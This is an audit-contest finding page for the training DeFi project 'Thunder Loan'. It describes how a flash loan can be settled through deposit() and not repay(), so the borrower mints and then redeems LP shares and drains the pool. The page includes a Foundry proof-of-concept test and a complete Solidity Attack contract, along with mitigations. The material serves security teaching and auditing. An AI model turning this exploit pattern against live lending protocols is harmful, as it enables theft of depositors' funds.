Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Severity: high
Valid

Flashloan repayment check bypass via deposit path during callback

Root + Impact

Description

Normal behavior: borrower should return principal + fee through the flashloan repayment path, and the loan should only finalize after valid repayment.

Issue: flashloan() only checks final AssetToken balance (endingBalance >= startingBalance + fee). During callback, borrower can call deposit(amount + fee) instead of repay(), pass the balance check, and mint redeemable shares.

// src/protocol/ThunderLoan.sol
// @> only end-balance is validated
if (endingBalance < startingBalance + fee) {
revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
}
// @> deposit is callable during active flashloan and mints shares
assetToken.mint(msg.sender, mintAmount);
token.safeTransferFrom(msg.sender, address(assetToken), amount);

Risk

Likelihood:

  • Borrower fully controls callback logic and can route payment using deposit.

  • No guard prevents deposit on the same token while flashloan is active.

Impact:

  • Repayment semantics are bypassed while loan completion check still passes.

  • Borrower receives redeemable LP claim, distorting fee/economic intent.

Proof of Concept

Validated PoC: test/audit/BlindDynamic.t.sol::test_H01_DepositInsteadOfRepay_BypassesExplicitRepayPath (PASS).

vm.prank(user);
tl.flashloan(address(bypass), token, borrowAmount, "");
uint256 bypassShares = asset.balanceOf(address(bypass));
vm.prank(address(bypass));
tl.redeem(token, bypassShares);
assertGt(bypassPost, 0, "deposit path recovers value via minted shares");

Recommended Mitigation

  • Enforce explicit debt accounting per loan and require settlement through repay().

  • Reject deposit() for a token while s_currentlyFlashLoaning[token] is true (or net out shares minted during loan settlement).

+ if (s_currentlyFlashLoaning[token]) revert ThunderLoan__NotCurrentlyFlashLoaning();
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 10 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] All the funds can be stolen if the flash loan is returned using deposit()

## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!